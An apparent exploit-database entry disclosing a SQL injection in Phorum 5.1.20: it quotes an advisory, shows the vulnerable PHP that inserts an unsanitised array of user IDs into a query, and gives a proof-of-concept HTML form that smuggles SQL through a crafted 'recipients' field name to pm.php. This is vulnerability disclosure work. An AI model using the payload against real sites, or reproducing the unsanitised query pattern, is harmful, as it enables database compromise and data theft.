Phorum 5.1.20 - 'pm.php' Recipient Name SQL Injection
HTML:
source: https://www.securityfocus.com/bid/23616/info
     
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
     
Phorum 5.1.20 is affected; prior versions may also be vulnerable.

Let's look at source code of "include/db/mysq.php" ~ line 1881 :

------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    if(is_array($user_id)){
        $user_ids=implode(",", $user_id);
    } else {
        $user_ids=(int)$user_id;
    }

    $users = array();

    $sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
    $res = mysql_query($sql, $conn);
    if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------

As we can see, if "$user_id" is array, then there is no sanitize against data before
using in sql query.
After some research I have found a way to use this bug for sql injection. For this,
first of all, potential attacker must have valid user account in specific Phorum-powered
website and he/she must be logged in. And then let's try this proof-of-concept html file:

------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html>
